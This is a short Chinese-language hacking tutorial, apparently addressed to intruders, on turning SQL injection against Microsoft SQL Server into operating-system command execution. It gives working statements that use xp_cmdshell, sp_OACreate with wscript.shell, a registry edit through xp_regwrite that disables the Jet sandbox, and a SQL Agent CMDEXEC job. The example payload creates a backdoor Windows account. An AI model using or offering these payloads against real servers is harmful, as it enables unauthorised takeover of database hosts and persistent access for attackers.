SQL Server是中小型網站廣泛使用的數據庫,由於功能強大也滋生了很多安全問題,國內又因為SQL注入攻擊的很長一段時間流行,導致對SQL Server的入侵技巧也層出不窮,由於SQL Server支持多語句,相信很多小黑在對SQL Server進去SQL注入的時候很少使用猜解表名之類的方法,而直接轉向使用SQL Server的存儲過程和函數快速的拿權限,下面我就圍繞SQL Server的系統存儲過程和函數來介紹這些黑客技巧。
一、執行系統命令
利用存儲過程我們可以快速方便的獲取一個shell,如執行系統命令,存儲擴展調用如下:
exec master..xp_cmdshell 'net user ray ray /add'
xp_cmdshell是SQL Server自帶的系統命令存儲過程,默認情況下只有SYSADMIN服務器角色才能執行。
利用OLE對象接口,SQL Server提供了一些函數訪問OLE對象,分別是sp_OACREATE和sp_OAMethod,可以利用他們調用OLE控件,間接獲取一個shell。使用SP_OAcreate調用對象wscript。shell賦給變量@shell,然後使用SP_OAMETHOD調用@shell的屬性run執行命令。
DECLARE @shell INT
EXEC SP_OAcreate 'wscript.shell',@shell out
EXEC SP_OAMETHOD @shell,'run',null, 'net user ray ray /add'
開啟access的沙盒模式,在默認情況下Jet數據引擎不支持select shell("net user ray ray /add")這樣的SQL語句,但是開啟了JET引擎的沙盒模式後就可以執行命令,先利用xp_regwrite存儲過程改寫注冊表,然後利用OpenRowSet訪問一個系統本身自帶的一個Access數據庫文件,再執行運行命令的SQL語句。
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MacHINE','SoftWare\Microsoft\Jet\4.0 \Engines','SandBoxMode','REG_DWord',0
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\Windows\system32\ias\ias.mdb','select shell("net user ray ray /add")');
除開這些,還可以利用SQL代理執行命令,當然必須先開啟SQL代理服務,默認情況下這個服務是關閉的.我們可以先利用xp_servicecontrol開啟SQLSERVERAGENT,然後建立個SQL計劃任務,然後馬上運行這個任務。
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
use msdb exec sp_delete_job null,'x'
exec sp_add_job 'x'
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c Dir C:\'
exec sp_add_jobserver Null,'x',@@servername exec sp_start_job 'x'